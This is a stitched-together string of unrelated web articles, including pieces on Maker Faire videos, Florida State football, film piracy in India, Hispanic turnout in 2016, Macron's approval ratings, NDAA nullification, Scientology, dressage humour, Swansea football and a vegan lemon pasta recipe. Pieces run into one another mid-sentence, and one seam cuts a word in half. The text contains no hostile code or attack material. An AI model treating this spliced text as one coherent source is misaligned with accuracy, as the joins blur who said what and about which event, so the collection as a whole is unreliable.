Many of you were with us last October in Rome for the European Maker Faire together with more than 500 makers from all over the world! The event was massive and 90 thousands people visited the booths, the workshops and the presentations taking place in those days.
To celebrate the amazing moments we created a series of short videos showcasing the use of Arduino in projects hosted during the Faire. Our crew explored the whole exhibition and talked with a lot of makers presenting a project with Arduino inside. We asked them four simple questions:
What have you built?
Which problem does your project solve?
Why did you use Arduino as a controller
How long did it take to make it?
Now it’s time to share with you the videos.
In this page you can find the video promo with a preview of the upcoming videos and the first interview (of 18 interviews) to the makers: Stefano Ceroni talks about his “Brain-controlled bionic hand”:TALLAHASSEE, Fla. -- In the immediate aftermath of the disaster, Jimbo Fisher took the heat, offering a laundry list of things he could have done differently in Florida State's 17-16 loss to NC State.
Two days later, that tune has changed.
Fisher said he watched film, evaluated his play-calling and came to a concise conclusion about what went wrong Saturday.
One of the criticisms following FSU's loss to NC State was the lack of touches for James Wilder Jr. Streeter Lecka/Getty Images
"You try to keep trying to be aggressive in calls and how you do things, and hindsight is 20/20, but I don't regret calls," Fisher said. "Now that I look at the film, I don't regret."
The pronouncement isn't going to make Fisher a fan favorite this week, as he has been lambasted for his conservative approach in the fourth quarter while FSU watched a 16-0 lead slip away.
Two situations earned the most criticism.
The first came on a third-and-2 at the NC State 19-yard line, when after calling a timeout, Fisher sent EJ Manuel back onto the field to run a bootleg to the right. The play failed miserably and Manuel was stuffed for a 15-yard loss.
The irony is, for all the clamor of Fisher's conservative approach, a simple run up the middle would have resulted in at least three points. Instead, the sack meant a 52-yard attempt at a field goal, and Fisher elected to punt instead.
"I thought we had a play that we'd worked all week," Fisher said of the third-down call. "It was a lack of execution. If we execute the play, it's going to be an excellent play. They got penetration off of it and it wasn't there. It's something we'd worked a bunch."
Florida State still had a chance to ice the game with 2:47 left to play.
The Seminoles took over at their own 32 with a six-point lead knowing NC State would burn through its timeouts to preserve clock. Fisher called three straight running plays that went nowhere. The ensuing punt was blocked, and NC State cashed in on its next drive for the win. Again, Fisher doesn't quibble with the decisions to run the ball.
The first down play was a run by Chris Thompson that had been successful in the first half Saturday. It was a similar play call to the long run Thompson had to ice the previous week's game against USF. But a guard missed a block and Thompson was tackled for a 2-yard loss.
The second play went back to Thomspon, who picked up 3, setting up a third-and-9. Rather than looking downfield, Fisher went with a quarterback run. Again, a block was missed and Manuel was dumped for no gain.
Fisher said the film showed all three plays had a chance to go for big gains if executed properly, and he suggested the major problem with the drive was the blocked punt that left a short field for NC State.
"Every play was right there," Fisher said. "Does throwing it make you more aggressive? Or does running it when you're moving the ball? Hindsight is all 20/20. I don't regret any of the calls. I regret we didn't execute some of the things we did, and we've got to play better."
Fisher's philosophy is not without merit. Florida State's offensive line had struggled in pass protection, which made a conservative approach at least defensible. But the context of the situation is what caught the ire of so many fans.
For one, Fisher continued to give the ball to Thompson, who had a career high 25 carries Saturday. He had been excellent in the first half, but he wore down late and found little room to run. Florida State had 21 yards rushing in the second half.
After the game, Fisher said he should have gotten backup James Wilder Jr. more touches, but he backed off those comments Monday as well.
"Chris has just been playing so daggone well," Fisher said. "The guy is averaging 7.7 yards a carry for the season, and he's catching the ball very well."
Thompson's season average is impressive, but he's averaged just 4.1 yards per carry in the second halves of games this year.
The passing game was a separate issue altogether.
Going into the game, Manuel said he was eager to get his chance to eviscerate the Wolfpack's secondary, which had given up an ACC-record 566 yards to Miami quarterback Stephen Morris. Fisher called just 34 passing plays.
"We didn't throw the ball as much as I thought we would have," Manuel said.
Manuel offered no further explanation. He said he hadn't thought the heavy dose of runs would be the game plan coming in, but he didn't specifically criticize the decisions made during the game.
The film review essentially boiled down to a simple formula for Fisher: The plays were there, but the execution and the focus was not.
"Any time you're a leader, you have to look at yourself first and say, 'Did I make the right call?'" Fisher said. "After seeing the video, [NC State] was in what we thought they were in, doing exactly what we thought they were doing. It's not blame. We just didn't execute. It's not the same guy. It's just one guy -- a guy can grade 88 percent in a game and have two bad plays that happen to be at the wrong time. That's what it was an accumulation of in the second half."
That's going to be a tough sell to a frustrated fan base, but Fisher's real answers will be delivered in the next six games.The Andhra Pradesh Film Chamber of Commerce (APFCC), the body that represents the Telugu Film Industry has inked an MoU with the Motion Picture Association of America (MPAA), in a bid to curb film piracy, reports The Hindu. The report indicates that the two bodies intend to work in conjunction to fight piracy and exchange best practices. The MoU was inked through the Motion Picture Dist. Association (India) (MPDA), which is a wholly owned Indian subsidiary of the Motion Picture Association, and represents the interests of the American motion picture industry in India. While the implications of the MoU were not categorically specified, it could mean that in addition to the use of technology to find, report and block pirated content online, the MPAA could also track piracy of Telugu films in the US, both online and offline. The Andhra Pradesh Film Chamber of Commerce has Anti Video Piracy Cell, through which it claims to have assisted the police in arresting 5201 individuals till December 2010, in cases related to film piracy.
Interestingly, the Cell’s latest newsletter mentions that its Cyber Piracy wing has now ‘for a few months been tracking in real time, IP addresses of all users engaged in uploading/downloading/streaming movies belonging to various industries.‘ It had raided 6 locations with the state CID team and has published their names, IP addresses and locations.
Among other anti-piracy measures by Indian entertainment industry bodies, the Indian Music Industry (IMI), an industry consortium of 142 music ompanies, had recently obtained orders from the Calcutta High Court directing all Internet Service Providers (387 ISPs) to block 104 music sites (listed here).
The MPAA represents the American motion picture, home video and television industries in the United States and in other parts of the world. It has been critical of the Congress for halting bills like SOPA and PIPA, which were proposed to allow the US government to block access to user generated content sites through ISPs, stop search engines from linking to them, advertising networks and payment processing firms from transferring money to them, or even stop sites from linking to potentially infringing content, and thus exercise control over websites which are out of the jurisdiction of the United States.Hispanic voters could be poised to deliver a historic rebuke to Donald Trump and the Republican Party.
Early-vote statistics from battleground states with large Hispanic populations show record turnout among a bloc that has voted at a lower rate than whites or blacks in past elections. If, as some polls suggest, Hispanic voters are supporting Hillary Clinton by blowout margins, these numbers could sink Trump in a handful of states that are essential to his path to 270 electoral votes.
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In Nevada, Latino turnout propelled Democrats in Clark County — the population center that's home to Las Vegas — to a record-breaking close on Friday, driving up the Democratic lead in early ballots cast to 72,000. That's enough, according to veteran Nevada political analyst Jon Ralston, to essentially tie a bow on the state for Clinton.
Four years earlier, when President Barack Obama won the state by 7 points, Democrats led Clark County in ballots cast by 71,000 at the end of early voting in 2012.
State GOP Chairman Michael McDonald responded to the sudden electoral tremors Saturday by suggesting there were shady dealings behind the surge, referring to “a certain group.”
“Last night, in Clark County, they kept a poll open till 10 o’clock at night so a certain group could vote,” said McDonald at a Trump rally in Reno. “It wasn’t in an area that normally has high transition. The polls are supposed to close at 7. This was kept open till 10. Yeah, you feel free right now? Think this is a free or easy election?”
In his speech following those remarks, Trump suggested there might be wrongdoing at "certain key Democratic polling locations in Clark County."
"Folks, it's a rigged system. It's a rigged system. And we're going to beat it," he said.
In Florida, which tracks turnout by race and ethnicity, Hispanics have so far cast about 14 percent of the 5.7 million early and absentee ballots cast. That puts Hispanics far ahead of where they were in casting early ballots relative to 2012.
That follows Florida Democratic strategist Steve Schale's analysis, which notes that, through Wednesday alone, Hispanic turnout in 2016 had already exceeded — by 170,000 ballots — Hispanic early voting in the entire 2012 cycle. And Schale noted that many of them are first-time voters, who Democrats see as crucial targets in the early-voting period.
Similar signs suggest Democrats are seeing robust Hispanic turnout in Arizona as well. And even Texas, considered out of reach for Democrats, is seeing a surge across the state's most populous counties.
Latino turnout has historically lagged that of most other races and ethnicities — even among those eligible to cast ballots. In 2012, 62 percent of all U.S. citizens voted in the presidential election — but only 48 percent of Hispanic citizens did. Meanwhile, higher percentages of white citizens (62 percent) and black citizens (66 percent) participated.
Those numbers varied by state. In Florida, Hispanic turnout was actually a point higher than turnout overall. But in Nevada, Latino turnout lagged the overall turnout rate by 6 points, and in Colorado, Hispanic turnout was about 18 points lower than overall turnout.
These turnout rates are why the Hispanic vote is frequently described as a “sleeping giant” — a giant that Clinton’s campaign and the Democrats are trying to awaken by highlighting Trump’s immigration policies and inflammatory statements about Mexicans in the hopes of driving higher turnout than in past election years.
For Republicans, a landslide defeat among Hispanics would serve as a repudiation of the party’s efforts to improve its performance among those voters in the wake of Mitt Romney’s resounding defeat among this growing cohort four years ago.
Still, there are meaningful reasons to believe many public polls aren’t capturing the Hispanic vote accurately. The national polling of Hispanics is erratic, with some polls suggesting that Trump is holding his own among Latino voters, and others portending a wave of Hispanics looming to defeat Trump and haunt the GOP for elections to come.
Latinos are much harder to reach than any other racial or ethnic group that makes up a significant share of the electorate, which makes them a challenge for pollsters. And with the landscape flooded by cheaper, lower-quality polls, the risk that pollsters are missing large numbers of Hispanic voters — or that the Latinos they are reaching are not fully representative — is substantial.
And if Trump’s candidacy leads to a spike in Latino turnout, will the polls capture it? How accurately are they portraying Hispanics and their voting intentions going into Election Day?
The current range of the Hispanic vote breakdown in national polls underscores the difficulty in capturing the right mix of Latino voters.
Clinton’s leads in national polls among Hispanics range from just 15 points — which would represent a dramatic decline from 2012, when exit polls suggested Obama won Hispanics 71 percent to 27 percent — to a 55-point lead in one poll that would represent a historic margin.
Variances between polls among such a small subgroup are common; Hispanics are expected to make up, at most, 1 in 10 voters nationally. But the wide disparity in these polls also reflects particular challenges in polling Latinos.
Hispanics are far more likely not to have landline phones than whites and blacks. According to the most recent data from the National Center for Health Statistics — the branch of the Centers for Disease Control and Prevention that tracks this data — more than 60 percent of Hispanic adults in the U.S. live in households with only a wireless phone, compared to 44 percent of whites and 48.5 percent of blacks.
Higher-quality polls make efforts to reach cellphone respondents, but many of the state polls this year have been mostly or entirely conducted via landline phone.
And, pollsters say, the Hispanics with landlines are different than those without. They are more likely to be lower-income and less assimilated. So polling mostly Hispanics with landlines misses those voters.
“You have to be doing cellphones, and a lot of them, because that’s a different group,” said Marist College pollster Lee Miringoff.
Similarly, online polls reflect only a segment of the Hispanic population: the 84 percent that have internet access, a lower percentage than whites.
Perhaps the most significant challenge for phone polling is language. Most of the high-quality polls employ bilingual interviews, but few others take on that extra expense — and there’s evidence that those that do not are overestimating Trump’s vote share among Latinos.
A Pew Research Center poll back in June showed that English-dominant Latinos were split relatively evenly: 48 percent for Clinton, and 41 percent for Trump. But Latino registered voters who are more proficient in Spanish or proficient in both Spanish and English were overwhelmingly for Clinton: 80 percent to 11 percent.
Nolan McCaskill in Reno, Nev., Marc Caputo in Miami and Kyle Cheney contributed to this report.Macron, who is overhauling his communications strategy after triggering criticism for seeming aloof, acknowledged this past week that some voters are disappointed with his government's actions so far.
The 39-year-old centrist leader, elected in May, saw his rating fall for the second consecutive month, down from 36 percent a month earlier and 43 percent in late June, according to the YouGov France poll carried out for HuffPost and CNEWS.
"I'll have to live with people's impatience for the next few months," Macron told the Le Point weekly on Wednesday, dismissing the recently passed milestone of 100 days in office as "irrelevant".
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AFP
The following day Macron's government unveiled an overhaul of the labour code, a signature reform that will test his ability to force through business-friendly changes and face down protests.
He sees overhauling France's rigid labour regulations as key to tackling a French unemployment rate which is currently 9.5 percent -- roughly twice the level of Britain or Germany.
The news from the pollsters was little better for Prime Minister Edouard Philippe, whose popularity rate fell to 32 percent from 37 percent, according to the YouGov findings published Monday.
Macron has promised a change in strategy for the months ahead which will see him give more interviews to explain why he sees his reforms as necessary, having been accused of being too remote at the start of his term.
He said last month, during a trip to Romania, that the French people "hated reforms", but that he was proposing a "transformation" to fire up the country's economy and make it a leader in Europe.
The pollsters questioned 1,003 people on August 28 and 29, before both the Le Point interview with Macron and the unveiling, on Thursday, of the planned labour overhaul.TEHRAN, December 28 - On the verge of an inevitable collapse like that of the Soviet Union in 1989, the American Empire intends to take everyone down with it, says an analyst based in San Antonio.
TEHRAN, Young Journalists Club (YJC) - Mark Dankof, who once ran for the US Senate, made the remarks in an interview with Press TV about a prediction by former US congressman and presidential candidate Ron Paul about the imminent demise of the American political system.
Paul told the Washington Examiner on Tuesday that a year of apparent economic growth under President Donald Trump was an illusion and the US was inching closer to a Soviet-like downfall.
“We’re on the verge of something like what happened in ‘89 when the Soviet system just collapsed,” the renowned politician said. “I’m just hoping our system comes apart as gracefully as the Soviet system."
Dankof doubled down on Paul’s stance, noting that Trump’s policies accelerated the process.
“The United States is $21 trillion in debt. We are militarily involved in countless places in the world where we have no business being, and conducting these operations via fiat money and foreign borrowing,” he said.
“Internally, our domestic population is awash in crime, sexual immorality, and consumerism,” the analyst argued.
The analyst said the Republican head of state’s controversial policies, including the recognition of Jerusalem al-Quds as Israel’s capital as well as his support for NATO’s expansion towards Russia, would eventually lead to a military conflict that would seal the empire’s fate.
“The final stage is a catastrophic war. Trump's proclamation on Jerusalem, continued American meddling in Syria, the NATO buildup in Eastern Europe and the Balkans, and the bellicose threats against Iran are more than suggestive,” he explained.
“So the good news is that the American Empire nears its end. The sad news is that along with its Zionist Ally, it seems bent on taking everyone else down with it,” the analyst concluded.
In his interview, Paul said he did not necessarily believe the US will break into separate countries but would rather experience a complete overhaul of its monetary policy and an end to what he considers the US “empire” overseas.
Source: PresstvIn recent weeks, resistance to federal kidnapping powers in the 2012 NDAA (specifically sections 1021 and 1022 of the Act) has been catching on like wildfire. Virginia this year became the first state in the country to pass a binding law refusing compliance with the act. And yesterday, the Rhode Island House of Representatives passed a resolution rejecting the NDAA – becoming the sixth state to do so.
Harder to tame than a willful statehouse might be a cluster of cities and counties, each one individually nullifying through local law. Local communities are standing up to say NO as well. Towns, cities and counties around the country are being presented with model legislation that they can use to consider a resolution or a binding ordinance and in quick time – a number have already voiced their approval of such action.
On February 5, 2012, the Berkeley City Council passed Resolution No. 61,449-N.S. establishing a policy that “the City will cooperate only with constitutionally valid requests from the federal government, and all actions by the Berkeley Police Department will remain in accord with Amendments 4-8 of the U.S. Constitution, the due process clauses of the California Constitution, and the United Nations Charter, Article 55.” Last night, the Council followed on that resolution with another – this one specifically aimed at the “indefinite detention” provisions of the 2012 NDAA.
After unanimously passing the resolution, Berkeley is now the fifteenth local government around the country to have passed similar legislation.
It states, in part:
the indefinite military detention of any person without trial violates the 5th and 6th amendments of the Constitution of the United States, Article III of the Constitution of the United States, and the Posse Comitatus Act;
But the Council, acting on recommendation from the City’s Peace and Justice Commission, didn’t stop at simply denouncing the unconstitutional federal act. They included language to take their response a step further. It states that they will:
“Instruct all our public agencies to decline requests by federal agencies acting under detention powers granted by the NDAA that could infringe upon residents’ freedom of speech, religion, assembly, privacy, or rights to counsel.”
THREE STEPS, MAYBE JUST TWO?
Here at the Tenth Amendment Center, we define nullification as “any act or set of acts which has as its end result a particular law being rendered null, void, or unenforceable in a specific area.” With that definition in mind, we see the Berkeley resolution as a piece of a puzzle that could lead to a full nullification of NDAA detention powers. This is a multi-step process.
1. Education – awareness. This is where local and state resolutions come into play. When something is passed, even non-binding, it gets press coverage about the idea that the local and state people have a role to play in this.
2. Non-compliance – as just passed by the Berkeley City council, as well as the town of Fairfax, CA and the State of Virginia. The message? Your unconstitutional federal act is not welcome here!
Gandhi, Rosa Parks and others didn’t take it beyond there. We recognize that in almost every situation, the federal government relies on state and local governments being silent or even fully complicit. Information sharing, logistics, and even national guard troops carrying out orders are activities that could be asked of state and local governments. Could the feds still kidnap at that point if the state refuses compliance? Sure, “legally” nothing has changed. But if 10-15 states and a hundred or so counties and cities are making clear they will not comply and that they consider the act unconstitutional, it’s going to be much tougher for them, if not politically impossible, than if everybody just complied and waited for the courts or another election to “save” them.
3. Resistance and physical interposition – Some, of course, believe that the feds can never be stopped without a physical resistance. But this may not be required if enough states and localities take noncompliance seriously in #2 above. But, we also see the value in running the full spectrum of options from the simplest to the strongest in various parts of the country. In the 2012 legislative session, a bill was introduced in the Tennessee legislature which proposed kidnapping charges for federal agents attempting to “detain” people under the NDAA.
When 25 states refused compliance with the REAL ID Act of 2005, the law remained on the books in Congress, was never challenged in Court, but was rendered virtually null, void and unenforceable in most of the country. Straightforward noncomnpliance worked.
*******
The Tenth Amendment Center recently announced new model legislation to address the NDAA, The Liberty Preservation Act. It would nullify the NDAA and is ready to be introduced in any state or locality. The LPA has all the language needed to turn away the NDAA in your area.
Get five versions of this model legislation here: http://tenthamendmentcenter.com/legislation/liberty-preservation-act/
Track NDAA nullification efforts across the country here: http://tenthamendmentcenter.com/nullification/ndaa/
Michael Boldin [send him email] is the founder of the Tenth Amendment Center. He was raised in Milwaukee, WI, and currently resides in Los Angeles, CA. Follow him on twitter – @michaelboldin and Facebook. http://www.tenthamendmentcenter.comCopyright by WISH - All rights reserved Indianapolis Mayor Greg Ballard speaks March 30, 2015 about the Religious Freedom Reformation Act. (WISH Photo)
Copyright by WISH - All rights reserved Indianapolis Mayor Greg Ballard speaks March 30, 2015 about the Religious Freedom Reformation Act. (WISH Photo)
Staff Reports - INDIANAPOLIS (WISH) - Indianapolis Mayor Greg Ballard spoke Monday afternoon about the controversial Religious Freedom Reformation Act signed into law last week by Indiana Gov. Mike Pence.
Ballard said he is signing an executive order that will require anyone doing business with the city to abide by Indianapolis' human rights ordinance.
Ballard also said the passing of RFRA will not define Indianapolis.
Although Ballard released a statement about RFRA last week, Monday was the first time he publicly spoke about the law.
The mayor also had business leaders with him Monday, who offered similar comments in opposition to RFRA.
The City-County Council passed a resolution on RFRA Monday night at its meeting that will ask the General Assembly to repeal RFRA.
Click here for complete coverage of RFRA, including statements given Monday morning by state lawmakers on both sides of the aisle.Alcantara, 24, batted.278/.325/.467 with 12 home runs, 56 RBIs and 32 stolen bases in 108 Minor League games -- mostly at the Triple-A level -- in 2016. He began the season in the Cubs' organization and was traded by Oakland for Chris Coghlan on June 9.
CINCINNATI -- The Reds added |
ualization of cars and car-related business models:
Automakers as fleet operators and transportation service providers
New business models emerge providing cars for free in return for a multi-year contract in other areas – similar to what mobile phone operators do when they subsidize the purchase of phones
Automakers bundle Insurance via their warranty operations
Automakers provide free, high speed Internet access as cars cooperate with other cars to form a mesh network
Dealers become Apple-like stores where car Apps are purchased
Cars become platforms where third parties create apps that are sold through App stores
Automakers move downstream to engage more directly with consumers
Automakers become brokers that help car owners rent their unused cars (GM-RelayRides partnership)
A market leader emerges with an operating system for the car platform that captures a huge share of value
Automakers open cars up for developers to write apps that make the use of a car more productive or enjoyable
Automakers deliver a concierge service: Car maintenance, providing remote changes to engine settings, collect and interpret performance information, other car-related activities
New industries like auto-décor will emerge
Food services, food brands, and kitchen appliances will be designed for in-car use
New car-based business models in the sex, drugs, and alcohol industries
Reductions in organ donations due to fewer accidents will fuel advances in 3D Printed biomaterial research
The obsolescence of the driver’s license will jump-start the widespread use of other forms of ID, such as biometrics and chip implants
Towns that rely on parking ticket and speeding revenues will experience budget shortfalls. They will be forced to seek new forms of revenue, serving as a catalyst for innovation
New retail destinations will pop up in unusual places
Retail on wheels will explode
Other observations from work done by Chunka Mui:
Although we tend to think of customer experience in a traditional marketing and channel sense, next generation experiences extend to the car, smart home, and countless others. Creating the next generation car experience offers opportunity for Electronics companies, Media & Information Services, and others. This expands the automotive ecosystem opportunity and supports a growing movement towards Value Ecosystems
In creating this next generation experience, Mr. Mui expects vehicle design to shift away from safety considerations and towards style. As driverless cars dramatically reduce human error and the concept of shared cars gains broad acceptance, possible car designs will explode. With driver distraction issues going away, media companies, electronics companies and app makers could outfit cars with infotainment that exploits now-free time in self-driving cars
One final addition to this original post now includes an adoption timeline pulled together by Morgan Stanley:
Jeremiah Owyang provides additional insight through his recent Post on the topic, and its connection to the Sharing economy disruptive scenario. That wraps up this look at possible disruption in the automotive ecosystem. My next post will focus on the potential disruptive scenarios in the Healthcare industry. Although illustrative, the compelling reason for action is not tied to any specific scenario, but the fact that the number of scenarios – driven by several forces – is likely to multiply. As this happens, the probability of disruption grows rapidly, creating a societal impact not seen since the First Industrial Revolution. It is the accelerating potential for disruption that is at issue – not the scenario itself.My fascination with Scientology began with the infamous South Park episode, “Trapped in the Closet,” and was recently reignited by the Emmy award-winning documentary, “Going Clear: Scientology and The Prison of Belief.” The film gives an extensive history of the formation of the church and includes interviews of former members who recall their harrowing experiences. One former member described being sent to a labor camp where she worked for 30 hours straight, ate table scraps, and was forbidden to see her infant daughter. Another former Scientologist reported being physically assaulted by the leader of the church, David Miscavigne, and being asked to harass people who were against the church. After hearing these stories of abuse, I wondered why people became involved with the church in the first place.
If the creation myth of Scientology sounds like a science fiction story, it may be because founder of Scientology, Ron L. Hubbard, was a prolific science fiction author. The origin story claims that millions of years ago, there were aliens living on a far away planet that resembled Earth during the 1950s. The planet was overpopulated, and the supreme Ruler, “Zenu,” decided to solve the problem by kidnapping aliens, freezing their bodies, and dropping them in volcanoes on the prison planet Earth. The spirits of the aliens, “thetans” were captured by Zenu and forced to watch certain images, a form of brainwashing. When a baby is born, these “thetans” latch onto its soul and are the source of all of its anxieties.
Unlike other religions like Christianity, Judaism, or Islam, Scientologists aren’t educated about the foundation of their faith until much later on in their life. So what is so alluring about the face of Scientology that makes people join in the beginning? I decided to answer this question by going to the source: the church itself.
I first called the Church of Scientology in Coral Gables and requested an interview. My request was denied, which wasn’t surprising considering Scientologists are notorious for their adverse relationship with the press. According to “Going Clear,” Scientologists adhere to a principle of “fair game” in which individuals viewed as a threat can be handled by any means necessary.
This policy is often targeted toward journalists and includes illegal actions such as wiretapping, harassment, and vandalism. Paulette Cooper, author of “The Scandal of Scientology,” was targeted under a plan called “Operation Freakout.” The end goal was to either imprison Cooper or commit her to a mental institution.
So in order to learn more about the church, I couldn’t approach them as a journalist; instead, I contacted the church again as someone who was interested in learning more about the faith. The church scheduled me an appointment for later that day.
When I first entered the building, I was immediately struck by how much it didn’t resemble a church. It looked more like an office building from the 1980s, with wicker furniture in shades of pale green and pink. There were no pews or an altar, or anything else remotely resembling a place of worship. It looked like a community center where people might go to play bingo. I was also surprised to find an impressive Christmas tree sitting in the corner; apparently Christmas has become so secularized that even Scientologists don’t hesitate to place a Christmas tree in their building.
After I checked in, I was given a pen and paper personality test to take in a large common room off to the side of the lobby. Several church members walked past while I was taking the test. I answered approximately 200 questions about my social behavior, my mood and my feelings about my past mistakes. Most of the questions were normal, but some stood out. There were multiple questions that asked me about hearing strange noises and having involuntary twitches. I had a suspicion that these questions related to the “thetans” or alien souls supposedly inhabiting my body.
After I finished the test, a member of the church took my test and input the results into a computer. Afterward, another church member sat me down to go over my results.
It was then I finally understood how someone might be sucked into Scientology. As the woman explained my answers, I actually laughed multiple times at the accuracy of her analyses. For example, she made a comment about problems in my social relationships that was eerily similar to something that my father had told me no less than two weeks ago during Thanksgiving break. I felt like she truly did have insight into who I was; someone more vulnerable could easily mistake that insight for a sense of familiarity and understanding.
After the session concluded, the woman handed me a brochure for a seminar called, “How to Improve Relationships with Others.” It was a 10-hour program that cost $50. Although I was impressed with the woman’s ability to describe my personality, I was instantly reminded of why I despised this organization. My first day in the Church of Scientology, and they were already asking me for money.
At the end of the day, the Church of Scientology isn’t about helping people; it’s about fooling people into meeting their bottom line. My experience with this organization showed me that we need to critically evaluate the groups that we associate ourselves with, or else we could become a victim of an organization that may claim to do good, but only brings about abuse and injustice.
Rachel Berquist is a senior majoring in English and psychology.
Feature photo courtesy Pixabay user Unsplash.People from all over the world read, Tuesday’s Top 10 – Dressage judge comments scribes were NOT allowed to write.
Many of our readers shared comments that HAVE actually made it onto dressage tests, Dressage judge comments scribes did write, Part 2, Part 3, Part 4, Part 5, Part 6, Part 7, Part 8, Part 9 and Part 10.
There have been so many colourful dressage judge comments, we have enough gems for a series.
The dressage judges who let their scribes write these comments, certainly were not sugarcoating anything. Thank-you to all the riders who shared these hilarious, real life comments. Despite what a judge writes on your test, this phase of Eventing remains interesting when the unexpected happens. Thank you to all the good sports who are sharing some of their most humiliating dressage moments with a sense of humour.
Here are the top 22 dressage judge comments scribes were allowed to write:
“Dangerously high head carriage.”
– Nicki Cook
“Erratic steering”
written on an 8-year-old’s Intro A test – Daisy Frank’s mom
“Get a bigger whip.”
– Tammy Rose
“She looks like a hunter/jumper who woke up this morning and said, I’ll think I’ll ride dressage today.”
– Ann Switalski
“Your horse would be much more supple if you had the hips of an 18-year-old.”
Written on my 54-year-old partner’s test – Derek Jackson
“WTF was that?”
– Romana Jensen
“Disturbing hands.”
– Mireya Hooper
“Survival mode.”
– Janet Buckner
“Possibly the fastest dressage test ever ridden.”
– KelsyJo Hyvonen-Konkright
“Do not show after 6 months gestation.”
About my 25-year-old, not pregnant mare. She lived on 10 acres of grass at the time and was extra fluffy. – Kim Morreira
“Looks like a wind-up toy.”
In response to my tight backed quarter pony that I was trying to keep a lid on throughout our test. -Kile Townsend
“Please remove your phone from your boot.”
– Kelly Dunning
“For a properly trained horse, pig and turkey mating should not bother. Please desensitize!!!”
– Cheryl Figures
“Don’t give up… Get help!”
– Lucile R. Flournoy
“Horse should be pulling a milk cart.”
– Amy Levine
“Rider sadly no more than a passenger.”
– Rohena Armstrong
“Erection not required at this level.”
My stallion was admiring a mare during his test – Cynthia Spalding
“It must be like riding a snake.”
– Kathleen Wilson
“Very supple, almost as if each leg is doing a different test.”
– Dan Morgan
“No extra points for running over the chicken.”
– Dawn Fox
“You look like you might be late for a train”
– Christian Eagles
“That’s the biggest 10 metre circle I’ve ever seen.”
– Suzanna Curtis
If a judge made a colourful comment on your test please email us.
Check out more of Tuesday’s Top 10 for more horsey humour.Football in South West Wales is in a fragile place right now. One win in ten games means knives are being, if not sharpened, then pulled out of the knife block that rests on the kitchen side. Despite an encouraging yet blunt performance away at Anfield, Garry Monk remains under a tremendous amount of pressure. With Leicester City and in-form striker Jamie Vardy visiting the Liberty Stadium on Saturday, the light at the end of this poor-form tunnel has the potentially to grow even dimmer.
Come three o’clock Saturday afternoon, Swansea’s back four will come up against Jamie Vardy, current Premier League top scorer and a seemingly unstoppable force. Having scored thirteen goals in his last eleven games, Vardy is undoubtedly on an incredible run of form, and will be the central focus of Saturday’s game. If Leicester are to be vanquished, then Swansea will have to devise a strategy for stopping their main man.
Looking at Vardy’s eleven game run of scoring, there is a significant pattern. He is a striker that enjoys running at defences, and having considerable time to think about placing his shot. Compare him to Bafetimbi Gomis, who has shown a significant lack of composure when faced with a clear cut chance in recent weeks (specifically against Arsenal). Eight of his goals in this run have come from being played through by a teammate, and being allowed to run at the goalkeeper before slotting home. If Swansea commit too many men forward, they will be vulnerable to Vardy using his pace to get behind Ashley Williams & co. and hurtling towards Fabianski’s goal.
In particular, there is considerable risk in throwing full-backs forward, as is the tendency in Swansea’s system. Neil Taylor, Angel Rangel and Kyle Naughton enjoy joining the attack and crossing from deep, but will have to be careful on Saturday. Having been used largely out wide under Nigel Pearson, Vardy is more than comfortable drifting out wide to find space and is often found hovering in the channel between the full-back and centre-back waiting for a through ball. While Swansea will want to control the game in front of their home supporters, they will need to be wary of committing their full-backs forward in search of goals.
A further three of Jamie Vardy’s impressive goal haul have been converted from the penalty spot. Some have used this statistic to lessen the feat of Vardy’s scoring run, however it is telling that all three penalties were won by Vardy himself. His ability to take on defenders and draw fouls has earned his side vital points so far this season. A key factor in stopping Jamie Vardy from scoring this weekend will be in closing him down quickly before he can start to gain momentum. Ashley Williams is known to enjoy a physical battle, and if he can get up close to Vardy and prevent him from working up a head of steam, Swansea will be part way to minimising his threat.
Swansea are in desperate need of some result on Saturday. A visit to the Etihad follows this fixture, and if Swansea are to end their slump, they need a morale-boosting performance and result at home to Leicester. While Jamie Vardy is far from Leicester’s only goal threat, he is clearly their main man, and if they are to gain any form of confidence from Saturday, he will need to be stopped.
AdvertisementsThe Big E will push the envelope with its entertainment calendar this year by bringing in former reality television star and current Electronic Dance Music (EDM) star Paris Hilton.
Hilton will deejay a dance party at the Court of Honor Stage to close out this year's fair on Oct. 4 at 8 p.m.
"We take pride in the variety of music offered at The Big E every year," said John Juliano, the Eastern States Exposition's Director of Special Events. "Our audience of nearly 1.5 million people has very diverse musical tastes. Having an icon like Paris Hilton close out the 99th Big E is huge. There is no better way to kick off our centennial."
The popularity of EDM has caused Juliano to consider the stars of the genre for the fair.
"At the beginning of the EDM boom, we had DJ Pauly D perform... a move that proved to be a big success, attracting thousands to the fair," he said. "When searching for an EDM act for The Big E this year, Paris was an obvious choice. Paris Hilton has become a household name, having built an empire for herself in the public spotlight."
Hilton's career in the spotlight includes modeling, acting, and a five-year stint starring in the reality series "The Simple Life." She has created her own fashion line, and has recently earned international acclaim as a club deejay.
"Not only is Paris a pioneer of reality television, she is an entrepreneur, actress and has been able to seamlessly transition into the music world," said Juliano. "Her recent success on the deejay scene has made her a favorite in all of the top Las Vegas venues and around the world."
Hilton was in the news over the weekend for being the victim of a prank by Egyptian actor Ramez Galal, who fooled her into thinking her plane was going down and filmed it for his own show.
For more information on the show and for the entire Big E lineup, visit thebige.com.This Lemon Cream Pasta with Asparagus and Peas is perfect for a light lunch! It just speaks spring to me. And I know most of us are ready for spring, aren’t we? While the rest of the world is thawing out from a long, cold winter…here in Arizona where it is mild all year, citrus trees are just overflowing with fruit. Most people here give them away by the bag full. An anonymous neighbor left these HUGE lemons at our mailbox and I couldn’t resist making something with them as I do at this time each year. The pasta is light and fresh, you can taste all of the flavors and they compliment one another well. No one ingredient is over-powering. This will become a go-to dish of mine. I really enjoyed it and I think you will too! If you decide to make it, stop back and let us know what you think!! I love to hear your feedback. This pasta stores nicely as leftovers for lunch the next day (that is, if there are any leftovers 🙂 The base is a mild citrus cream sauce thickened with a bit of cornstarch and vegetable broth. The sauce will be lighter or darker depending on the vegetable broth you use. Mine was quite rich in color. Also, if you can find it, I would encourage you to buy the low-sodium broth. No one really needs all of that extra sodium. Steamed asparagus and peas round out the flavors. We topped the pasta with a sprinkle of vegan parmesan and a bit of parsley. You could also toss the pasta with the parmesan for a thicker sauce. Enjoy! 🙂
Print Pin 0 from 0 votes Lemon Cream Pasta with Asparagus & Peas {Vegan} Author aimee Tried this recipe? Mention or Tag me @aimee_stock Ingredients 8 oz. Rotini or other twisted pasta shape, cooked to the package instructions
1/2 lb. Asparagus steamed
1 C frozen Peas thawed
1 Tbl vegan Margarine such as Earth Balance
1 Shallot minced
